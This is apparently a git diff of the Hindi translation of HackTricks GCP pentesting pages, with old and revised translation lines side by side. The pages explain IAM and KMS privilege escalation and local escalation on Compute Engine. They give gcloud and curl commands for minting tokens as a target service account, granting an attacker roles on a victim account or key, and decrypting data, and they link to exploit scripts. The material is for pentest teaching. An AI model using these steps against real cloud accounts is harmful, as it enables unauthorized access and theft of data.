You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
ध्यान दें कि **`iam.serviceAccountKeys.update`** किसी SA की key को संशोधित करने के लिए काम नहीं करेगा क्योंकि उसके लिए अनुमति **`iam.serviceAccountKeys.create`** भी आवश्यक है।
|
||||
|
||||
### `iam.serviceAccounts.implicitDelegation`
|
||||
|
||||
यदि आपके पास एक सेवा खाते पर **`iam.serviceAccounts.implicitDelegation`** अनुमति है जो तीसरे सेवा खाते पर **`iam.serviceAccounts.getAccessToken`** अनुमति रखता है, तो आप implicitDelegation का उपयोग करके **उस तीसरे सेवा खाते के लिए एक टोकन बना सकते हैं**। यहाँ एक चित्र है जो समझाने में मदद करता है।
|
||||
यदि आपके पास किसी Service Account पर **`iam.serviceAccounts.implicitDelegation`** permission है और उस Service Account के पास किसी तीसरे Service Account पर **`iam.serviceAccounts.getAccessToken`** permission है, तो आप implicitDelegation का उपयोग करके उस तीसरे Service Account के लिए **token बना** सकते हैं। समझाने में मदद के लिए यहाँ एक डायग्राम है।
|
||||
|
||||
|
||||
|
||||
ध्यान दें कि [**दस्तावेज़ीकरण**](https://cloud.google.com/iam/docs/understanding-service-accounts) के अनुसार, `gcloud` का प्रतिनिधित्व केवल [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) विधि का उपयोग करके एक टोकन उत्पन्न करने के लिए काम करता है। तो यहाँ आपके पास API का उपयोग करके सीधे एक टोकन प्राप्त करने का तरीका है:
|
||||
ध्यान दें कि [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts) के अनुसार, `gcloud` की delegation केवल [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) मेथड का उपयोग करके token जनरेट करने के काम आती है। तो यहाँ बताया गया है कि API का उपयोग करके सीधे token कैसे प्राप्त किया जाए:
|
||||
|
||||
<details><summary>API का उपयोग करके delegation के साथ access token जनरेट करें</summary>
|
||||
```bash
|
||||
curl -X POST \
|
||||
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
|
||||
@@ -56,23 +70,27 @@ curl -X POST \
|
||||
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
|
||||
}'
|
||||
```
|
||||
आप एक स्क्रिप्ट पा सकते हैं जो [**एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करने के लिए यहाँ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) और इस विशेषाधिकार का दुरुपयोग करने के लिए एक पायथन स्क्रिप्ट [**यहाँ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py) है। अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
|
||||
</details>
|
||||
|
||||
आप [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) में vuln environment के निर्माण, exploit और क्लीनिंग को ऑटोमेट करने वाली स्क्रिप्ट पा सकते हैं और इस विशेषाधिकार का दुरुपयोग करने के लिए एक python स्क्रिप्ट [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py) में है। अधिक जानकारी के लिए [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
|
||||
|
||||
### `iam.serviceAccounts.signBlob`
|
||||
|
||||
उपरोक्त अनुमतियों के साथ एक हमलावर **GCP में मनमाने पेलोड पर हस्ताक्षर करने में सक्षम होगा**। इसलिए यह संभव होगा कि **SA का एक असाइन किया हुआ JWT बनाएँ और फिर इसे एक ब्लॉब के रूप में भेजें ताकि हम जिस SA को लक्षित कर रहे हैं, उसके द्वारा JWT पर हस्ताक्षर किया जा सके**। अधिक जानकारी के लिए [**यह पढ़ें**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed)।
|
||||
उक्त permissions वाले attacker GCP में arbitrary payloads को साइन कर सकेंगे। इसलिए यह संभव होगा कि हम target SA का unsigned JWT बनाकर उसे blob के रूप में भेजें ताकि लक्षित SA JWT को साइन कर दे। अधिक जानकारी के लिए [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed) देखें।
|
||||
|
||||
आप एक स्क्रिप्ट पा सकते हैं जो [**एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करने के लिए यहाँ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) और इस विशेषाधिकार का दुरुपयोग करने के लिए एक पायथन स्क्रिप्ट [**यहाँ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) और [**यहाँ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py) है। अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
|
||||
आप [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) में vuln environment के निर्माण, exploit और क्लीनिंग को ऑटोमेट करने वाली स्क्रिप्ट पा सकते हैं और इस विशेषाधिकार का दुरुपयोग करने के लिए एक python स्क्रिप्ट [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) और [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py) में है। अधिक जानकारी के लिए [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
|
||||
|
||||
### `iam.serviceAccounts.signJwt`
|
||||
|
||||
उपरोक्त अनुमतियों के साथ एक हमलावर **सही ढंग से निर्मित JSON वेब टोकन (JWTs) पर हस्ताक्षर करने में सक्षम होगा**। पिछले तरीके के साथ अंतर यह है कि **JWT पर हस्ताक्षर करने के लिए हम google को एक ब्लॉब पर हस्ताक्षर करने के बजाय signJWT विधि का उपयोग करते हैं, जो पहले से ही एक JWT की अपेक्षा करता है**। यह उपयोग में आसान बनाता है लेकिन आप केवल JWT पर हस्ताक्षर कर सकते हैं न कि किसी भी बाइट पर।
|
||||
उक्त permissions वाला attacker अच्छी तरह से बने JSON web tokens (JWTs) को साइन कर सकता है। पिछले तरीके से फर्क यह है कि **ब्लॉब में JWT रखकर google से साइन करवाने के बजाय हम signJWT method का उपयोग करते हैं जो पहले से ही एक JWT की अपेक्षा करता है**। इससे उपयोग करना आसान होता है पर आप केवल JWTs ही साइन कर सकते हैं, किसी भी बाइट्स को नहीं।
|
||||
|
||||
आप एक स्क्रिप्ट पा सकते हैं जो [**एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करने के लिए यहाँ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) और इस विशेषाधिकार का दुरुपयोग करने के लिए एक पायथन स्क्रिप्ट [**यहाँ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py) है। अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
|
||||
आप [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) में vuln environment के निर्माण, exploit और क्लीनिंग को ऑटोमेट करने वाली स्क्रिप्ट पा सकते हैं और इस विशेषाधिकार का दुरुपयोग करने के लिए एक python स्क्रिप्ट [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py) में है। अधिक जानकारी के लिए [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
|
||||
|
||||
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
|
||||
|
||||
उपरोक्त अनुमतियों के साथ एक हमलावर **सेवा खातों में IAM नीतियाँ जोड़ने में सक्षम होगा**। आप इसका दुरुपयोग करके **अपने लिए** आवश्यक अनुमतियाँ प्रदान कर सकते हैं ताकि सेवा खाते का अनुकरण किया जा सके। निम्नलिखित उदाहरण में हम अपने लिए `roles/iam.serviceAccountTokenCreator` भूमिका प्रदान कर रहे हैं:
|
||||
उक्त permissions वाला attacker service accounts पर IAM policies जोड़ सकता है। आप इसे अपने आप को impersonate करने के लिए आवश्यक permissions देने के लिए दुरुपयोग कर सकते हैं। नीचे दिए गए उदाहरण में हम अपने आप को `roles/iam.serviceAccountTokenCreator` role उस रुचिकर SA पर दे रहे हैं:
|
||||
|
||||
<details><summary>Service account पर IAM policy binding जोड़ें</summary>
|
||||
```bash
|
||||
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
--member="user:username@domain.com" \
|
||||
@@ -83,45 +101,55 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
|
||||
--member="user:username@domain.com" \
|
||||
--role="roles/iam.serviceAccountUser"
|
||||
```
|
||||
आप एक स्क्रिप्ट पा सकते हैं जो [**एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करने के लिए यहाँ है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
</details>
|
||||
|
||||
आप इस स्क्रिप्ट को पा सकते हैं जो [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)** को ऑटोमेट करती है।**
|
||||
|
||||
### `iam.serviceAccounts.actAs`
|
||||
|
||||
**iam.serviceAccounts.actAs अनुमति** AWS से **iam:PassRole अनुमति** के समान है। यह कार्यों को निष्पादित करने के लिए आवश्यक है, जैसे कि Compute Engine उदाहरण शुरू करना, क्योंकि यह एक सेवा खाते के रूप में "कार्य करने" की क्षमता प्रदान करता है, जो सुरक्षित अनुमति प्रबंधन सुनिश्चित करता है। इसके बिना, उपयोगकर्ता अनुचित पहुंच प्राप्त कर सकते हैं। इसके अतिरिक्त, **iam.serviceAccounts.actAs** का शोषण विभिन्न तरीकों में शामिल है, प्रत्येक को एक सेट अनुमति की आवश्यकता होती है, जबकि अन्य तरीकों को केवल एक की आवश्यकता होती है।
|
||||
**iam.serviceAccounts.actAs permission** iam:PassRole permission from AWS की तरह है। यह Compute Engine instance शुरू करने जैसे कार्यों को एक Service Account के रूप में करने की क्षमता देता है — यानी एक Service Account के रूप में "actAs" करने की अनुमति, जिससे permissions का सुरक्षित प्रबंधन सुनिश्चित होता है। इसके बिना, उपयोगकर्ता अनुचित पहुँच प्राप्त कर सकते हैं। इसके अलावा, iam.serviceAccounts.actAs का शोषण करने के कई तरीके हैं, जिनमें विभिन्न permissions की आवश्यकता होती है, जबकि अन्य तरीकों में केवल एक permission ही चाहिए होता है।
|
||||
|
||||
#### सेवा खाता अनुकरण <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
एक सेवा खाते का अनुकरण करना **नए और बेहतर विशेषाधिकार प्राप्त करने** के लिए बहुत उपयोगी हो सकता है। आप [दूसरे सेवा खाते का अनुकरण](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account) करने के तीन तरीके हैं:
|
||||
Service account को impersonate करना नई और बेहतर privileges प्राप्त करने के लिए बहुत उपयोगी हो सकता है। आप किसी अन्य service account को impersonate करने के तीन तरीके हैं: https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account
|
||||
|
||||
- प्रमाणीकरण **RSA निजी कुंजी का उपयोग करके** (ऊपर कवर किया गया)
|
||||
- प्राधिकरण **Cloud IAM नीतियों का उपयोग करके** (यहाँ कवर किया गया)
|
||||
- **GCP सेवाओं पर नौकरियों को तैनात करना** (एक उपयोगकर्ता खाते के समझौते के लिए अधिक लागू)
|
||||
- प्रमाणीकरण (प्रमाणिकरण) RSA private keys का उपयोग करके (ऊपर कवर किया गया)
|
||||
- प्राधिकरण (authorization) Cloud IAM policies का उपयोग करके (यहाँ कवर किया गया)
|
||||
- GCP services पर jobs तैनात करना (यह ज़्यादा applicable है user account के compromise के संदर्भ में)
|
||||
|
||||
### `iam.serviceAccounts.getOpenIdToken`
|
||||
|
||||
उपरोक्त अनुमतियों के साथ एक हमलावर OpenID JWT उत्पन्न करने में सक्षम होगा। इनका उपयोग पहचान को प्रमाणित करने के लिए किया जाता है और ये किसी संसाधन के खिलाफ स्वचालित रूप से कोई निहित प्राधिकरण नहीं ले जाते हैं।
|
||||
उल्लिखित permissions वाले एक attacker OpenID JWT जेनरेट कर पाएगा। OpenID JWT identity को assert करने के लिए उपयोग होते हैं और आवश्यक नहीं कि ये किसी संसाधन के खिलाफ कोई निहित प्राधिकरण प्रदान करें।
|
||||
|
||||
इस [**दिलचस्प पोस्ट**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b) के अनुसार, यह आवश्यक है कि दर्शक (सेवा जहाँ आप टोकन का उपयोग करके प्रमाणित होना चाहते हैं) को इंगित किया जाए और आपको एक JWT प्राप्त होगा जो google द्वारा हस्ताक्षरित होगा जो सेवा खाते और JWT के दर्शक को इंगित करता है।
|
||||
According to this [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), यह आवश्यक है कि आप audience (जिस service पर आप token का उपयोग करके authenticate करना चाहते हैं) बताएं और आपको google द्वारा sign किया हुआ एक JWT मिलेगा जो service account और JWT के audience को दर्शाता है।
|
||||
|
||||
आप OpenIDToken उत्पन्न कर सकते हैं (यदि आपके पास पहुंच है) के साथ:
|
||||
You can generate an OpenIDToken (if you have the access) with:
|
||||
|
||||
<details><summary>Service account के लिए OpenID token जेनरेट करें</summary>
|
||||
```bash
|
||||
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
|
||||
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
|
||||
# Then, generate token
|
||||
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
|
||||
```
|
||||
फिर आप इसे सेवा तक पहुँचने के लिए उपयोग कर सकते हैं:
|
||||
</details>
|
||||
|
||||
फिर आप बस इसका उपयोग करके सेवा तक पहुँच सकते हैं:
|
||||
|
||||
<details><summary>Use OpenID token to authenticate</summary>
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
|
||||
```
|
||||
कुछ सेवाएँ जो इस प्रकार के टोकनों के माध्यम से प्रमाणीकरण का समर्थन करती हैं:
|
||||
</details>
|
||||
|
||||
ऐसी कुछ सेवाएँ जो इस तरह के tokens के माध्यम से authentication का समर्थन करती हैं:
|
||||
|
||||
- [Google Cloud Run](https://cloud.google.com/run/)
|
||||
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
|
||||
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (यदि Google OIDC का उपयोग कर रहे हैं)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
|
||||
|
||||
आप एक उदाहरण पा सकते हैं कि सेवा खाते की ओर से OpenID टोकन कैसे बनाया जाए [**यहाँ**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py)।
|
||||
You can find an example on how to create and OpenID token behalf a service account [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
||||
@@ -10,11 +10,13 @@ KMS के बारे में जानकारी:
|
||||
../gcp-services/gcp-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
ध्यान दें कि KMS में **अनुमतियाँ** केवल **संस्थाओं**, फ़ोल्डरों और परियोजनाओं से **विरासत में** नहीं मिलती हैं बल्कि **कीरिंग्स** से भी मिलती हैं।
|
||||
ध्यान दें कि KMS में ये **permission** केवल Orgs, Folders और Projects से ही **inherited** नहीं होते, बल्कि **Keyrings** से भी होते हैं।
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToDecrypt`
|
||||
|
||||
आप इस अनुमति का उपयोग **कुंजी के साथ जानकारी को डिक्रिप्ट करने** के लिए कर सकते हैं जिसके ऊपर आपके पास यह अनुमति है।
|
||||
आप इस permission का उपयोग उस key के साथ **decrypt information with the key** करने के लिए कर सकते हैं जिस पर यह permission लागू है।
|
||||
|
||||
<details><summary>Decrypt data using KMS key</summary>
|
||||
```bash
|
||||
gcloud kms decrypt \
|
||||
--location=[LOCATION] \
|
||||
@@ -24,9 +26,13 @@ gcloud kms decrypt \
|
||||
--ciphertext-file=[ENCRYPTED_FILE_PATH] \
|
||||
--plaintext-file=[DECRYPTED_FILE_PATH]
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeys.setIamPolicy`
|
||||
|
||||
इस अनुमति के साथ एक हमलावर **अपने लिए अनुमति दे सकता है** कि वह कुंजी का उपयोग करके जानकारी को डिक्रिप्ट करे।
|
||||
एक हमलावर जिसके पास यह अनुमति है वह स्वयं को **अनुमतियाँ दे सकता है** ताकि वह key का उपयोग करके जानकारी को decrypt कर सके।
|
||||
|
||||
<details><summary>Grant yourself KMS decrypter role</summary>
|
||||
```bash
|
||||
gcloud kms keys add-iam-policy-binding [KEY_NAME] \
|
||||
--location [LOCATION] \
|
||||
@@ -34,20 +40,24 @@ gcloud kms keys add-iam-policy-binding [KEY_NAME] \
|
||||
--member [MEMBER] \
|
||||
--role roles/cloudkms.cryptoKeyDecrypter
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`
|
||||
|
||||
यहाँ इस प्रतिनिधित्व के काम करने का एक वैचारिक विश्लेषण है:
|
||||
यहाँ बताया गया है कि यह डेलीगेशन किस तरह काम करता है:
|
||||
|
||||
1. **Service Account A** को KMS में एक विशिष्ट कुंजी का उपयोग करके डिक्रिप्ट करने का सीधा अधिकार है।
|
||||
2. **Service Account B** को `useToDecryptViaDelegation` अनुमति दी गई है। यह इसे Service Account A की ओर से डेटा डिक्रिप्ट करने के लिए KMS से अनुरोध करने की अनुमति देता है।
|
||||
1. **Service Account A** के पास KMS में किसी विशिष्ट key का उपयोग करके data को decrypt करने का सीधे access है।
|
||||
2. **Service Account B** को `useToDecryptViaDelegation` permission दिया गया है। यह इसे Service Account A की ओर से KMS से data decrypt करने का request करने की अनुमति देता है।
|
||||
|
||||
इस **अनुमति का उपयोग उस तरीके में निहित है जिसमें KMS सेवा अनुमति की जांच करती है** जब एक डिक्रिप्शन अनुरोध किया जाता है।
|
||||
जब कोई decryption request किया जाता है, तो KMS service permissions की जाँच करने के तरीके में यह **permission implicit रूप से उपयोग होता है**।
|
||||
|
||||
जब आप Google Cloud KMS API का उपयोग करके एक मानक डिक्रिप्शन अनुरोध करते हैं (Python या किसी अन्य भाषा में), तो सेवा **जांचती है कि क्या अनुरोध करने वाले सेवा खाते के पास आवश्यक अनुमतियाँ हैं**। यदि अनुरोध एक सेवा खाते द्वारा किया जाता है जिसके पास **`useToDecryptViaDelegation`** अनुमति है, तो KMS यह सत्यापित करता है कि क्या यह **खुशखबरी उस इकाई की ओर से डिक्रिप्शन का अनुरोध करने के लिए अनुमति प्राप्त है जो कुंजी का मालिक है**।
|
||||
जब आप Google Cloud KMS API (Python या किसी अन्य भाषा में) का उपयोग करके एक standard decryption request करते हैं, सेवा यह **जाँच करती है कि requesting service account के पास आवश्यक permissions हैं या नहीं**। अगर request किसी service account द्वारा की गई है जिसके पास **`useToDecryptViaDelegation`** permission है, तो KMS यह सत्यापित करता है कि क्या यह **account उस entity जिसकी key है, उसकी ओर से decryption का अनुरोध करने की अनुमति रखता है**।
|
||||
|
||||
#### प्रतिनिधित्व के लिए सेटिंग अप
|
||||
#### Delegation के लिए सेटअप
|
||||
|
||||
1. **कस्टम भूमिका परिभाषित करें**: एक YAML फ़ाइल बनाएं (जैसे, `custom_role.yaml`) जो कस्टम भूमिका को परिभाषित करती है। इस फ़ाइल में `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation` अनुमति शामिल होनी चाहिए। यहाँ इस फ़ाइल का एक उदाहरण है:
|
||||
1. **Custom Role को परिभाषित करें**: एक YAML फ़ाइल बनाएं (उदा., `custom_role.yaml`) जो कस्टम role को परिभाषित करे। इस फ़ाइल में `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation` permission शामिल होना चाहिए। यहाँ एक उदाहरण है कि यह फ़ाइल कैसी दिख सकती है:
|
||||
|
||||
<details><summary>कस्टम रोल YAML परिभाषा</summary>
|
||||
```yaml
|
||||
title: "KMS Decryption via Delegation"
|
||||
description: "Allows decryption via delegation"
|
||||
@@ -55,13 +65,21 @@ stage: "GA"
|
||||
includedPermissions:
|
||||
- "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation"
|
||||
```
|
||||
2. **gcloud CLI का उपयोग करके कस्टम भूमिका बनाएं**: अपने Google Cloud प्रोजेक्ट में कस्टम भूमिका बनाने के लिए निम्नलिखित कमांड का उपयोग करें:
|
||||
</details>
|
||||
|
||||
2. **gcloud CLI का उपयोग करके कस्टम रोल बनाएं**: नीचे दिए गए कमांड का उपयोग करके अपने Google Cloud प्रोजेक्ट में कस्टम रोल बनाएं:
|
||||
|
||||
<details><summary>कस्टम KMS रोल बनाएँ</summary>
|
||||
```bash
|
||||
gcloud iam roles create kms_decryptor_via_delegation --project [YOUR_PROJECT_ID] --file custom_role.yaml
|
||||
```
|
||||
`[YOUR_PROJECT_ID]` को अपने Google Cloud प्रोजेक्ट ID से बदलें।
|
||||
`[YOUR_PROJECT_ID]` को अपनी Google Cloud project ID से बदलें।
|
||||
|
||||
3. **एक सेवा खाते को कस्टम भूमिका दें**: इस अनुमति का उपयोग करने वाले सेवा खाते को अपनी कस्टम भूमिका सौंपें। निम्नलिखित कमांड का उपयोग करें:
|
||||
</details>
|
||||
|
||||
3. **Grant the Custom Role to a Service Account**: उस Service Account को अपना कस्टम रोल असाइन करें जो इस अनुमति का उपयोग करेगा। निम्नलिखित कमांड का उपयोग करें:
|
||||
|
||||
<details><summary>Grant custom role to service account</summary>
|
||||
```bash
|
||||
# Give this permission to the service account to impersonate
|
||||
gcloud projects add-iam-policy-binding [PROJECT_ID] \
|
||||
@@ -73,6 +91,8 @@ gcloud projects add-iam-policy-binding [YOUR_PROJECT_ID] \
|
||||
--member="serviceAccount:[SERVICE_ACCOUNT_EMAIL]" \
|
||||
--role="projects/[YOUR_PROJECT_ID]/roles/kms_decryptor_via_delegation"
|
||||
```
|
||||
`[YOUR_PROJECT_ID]` और `[SERVICE_ACCOUNT_EMAIL]` को क्रमशः अपने प्रोजेक्ट आईडी और सेवा खाते के ईमेल से बदलें।
|
||||
`[YOUR_PROJECT_ID]` और `[SERVICE_ACCOUNT_EMAIL]` को क्रमशः अपने प्रोजेक्ट ID और सर्विस अकाउंट के ईमेल से बदलें।
|
||||
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+27
-19
@@ -1,40 +1,40 @@
|
||||
# GCP - स्थानीय विशेषाधिकार वृद्धि ssh पिवोटिंग
|
||||
# GCP - local privilege escalation ssh pivoting
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
इस परिदृश्य में हम मानने जा रहे हैं कि आपने **एक गैर-विशेषाधिकार खाता** को एक VM के अंदर एक Compute Engine प्रोजेक्ट में समझौता किया है।
|
||||
इस परिदृश्य में हम यह मानेंगे कि आप Compute Engine प्रोजेक्ट के एक VM के अंदर एक **गैर-प्रिविलेज्ड खाते** से समझौता कर चुके हैं।
|
||||
|
||||
अद्भुत रूप से, आपके द्वारा समझौता किए गए Compute Engine के GPC अनुमतियाँ आपको **एक मशीन के अंदर स्थानीय रूप से विशेषाधिकार बढ़ाने** में मदद कर सकती हैं। भले ही यह हमेशा एक क्लाउड वातावरण में बहुत सहायक न हो, यह जानना अच्छा है कि यह संभव है।
|
||||
हैरत की बात है कि आपने जिस Compute Engine का समझौता किया है उसकी GPC permissions आपकी मदद कर सकती हैं कि आप मशीन के अंदर स्थानीय रूप से **escalate privileges locally inside a machine** कर सकें। यह हमेशा क्लाउड वातावरण में बहुत मददगार नहीं होगा, लेकिन यह जानना अच्छा है कि यह संभव है।
|
||||
|
||||
## स्क्रिप्ट पढ़ें <a href="#follow-the-scripts" id="follow-the-scripts"></a>
|
||||
## Read the scripts <a href="#follow-the-scripts" id="follow-the-scripts"></a>
|
||||
|
||||
**Compute Instances** शायद वहां **कुछ स्क्रिप्ट्स** को उनके सेवा खातों के साथ क्रियान्वित करने के लिए हैं।
|
||||
**Compute Instances** संभवतः अपने service accounts के साथ कार्य करने के लिए कुछ स्क्रिप्ट्स **execute** करने के लिए मौजूद होते हैं।
|
||||
|
||||
चूंकि IAM बहुत बारीक है, एक खाता एक संसाधन पर **पढ़ने/लिखने** के विशेषाधिकार रख सकता है लेकिन **कोई सूची विशेषाधिकार नहीं**।
|
||||
चूँकि IAM काफी granular होता है, एक अकाउंट के पास किसी resource पर **read/write** अधिकार हो सकते हैं पर **no list privileges** हो सकते हैं।
|
||||
|
||||
इसका एक शानदार काल्पनिक उदाहरण एक Compute Instance है जिसे `instance82736-long-term-xyz-archive-0332893` नामक एक स्टोरेज बकेट में बैकअप पढ़ने/लिखने की अनुमति है।
|
||||
इसका एक अच्छा काल्पनिक उदाहरण एक Compute Instance है जिसे `instance82736-long-term-xyz-archive-0332893` नाम के storage bucket में बैकअप पढ़ने/लिखने की अनुमति है।
|
||||
|
||||
कमांड लाइन से `gsutil ls` चलाने पर कुछ भी नहीं लौटता है, क्योंकि सेवा खाते के पास `storage.buckets.list` IAM अनुमति नहीं है। हालाँकि, यदि आपने `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` चलाया, तो आप एक पूर्ण फ़ाइल सिस्टम बैकअप पा सकते हैं, जो आपको उस डेटा तक स्पष्ट-पाठ पहुंच देता है जो आपके स्थानीय Linux खाते के पास नहीं है।
|
||||
कमांड लाइन से `gsutil ls` चलाने पर कुछ भी नहीं लौटता, क्योंकि service account के पास `storage.buckets.list` IAM permission नहीं है। हालाँकि, यदि आप `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` चलाते हैं तो आप एक पूरा filesystem backup पा सकते हैं, जो आपको ऐसे डेटा का clear-text access दे सकता है जिसका आपका local Linux account उपयोग नहीं कर सकता।
|
||||
|
||||
आप इस बकेट नाम को एक स्क्रिप्ट (bash, Python, Ruby...) के अंदर पा सकते हैं।
|
||||
आप यह bucket नाम किसी स्क्रिप्ट (bash, Python, Ruby...) के अंदर पा सकते हैं।
|
||||
|
||||
## कस्टम मेटाडेटा
|
||||
## Custom Metadata
|
||||
|
||||
प्रशासक **इंस्टेंस** और **प्रोजेक्ट स्तर** पर [कस्टम मेटाडेटा](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) जोड़ सकते हैं। यह बस **एक इंस्टेंस में मनमाने कुंजी/मान जोड़े पास करने** का एक तरीका है, और इसे पर्यावरण चर और स्टार्टअप/शटडाउन स्क्रिप्ट के लिए सामान्यतः उपयोग किया जाता है।
|
||||
प्रशासक [custom metadata](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) को **instance** और **project level** पर जोड़ सकते हैं। यह बस instances में **arbitrary key/value pairs** पास करने का एक तरीका है, और आमतौर पर environment variables और startup/shutdown scripts के लिए उपयोग किया जाता है।
|
||||
|
||||
इसके अलावा, **userdata** जोड़ना संभव है, जो एक स्क्रिप्ट है जो **हर बार** मशीन शुरू या पुनः प्रारंभ होने पर **क्रियान्वित** की जाएगी और जिसे **मेटाडेटा एंडपॉइंट से भी एक्सेस किया जा सकता है।**
|
||||
इसके अलावा, यह संभव है कि आप **userdata** जोड़ें, जो एक स्क्रिप्ट होती है जो मशीन के हर बार start या restart होने पर **executed everytime** होती है और जिसे **accessed from the metadata endpoint also.**
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
For more info check:
|
||||
|
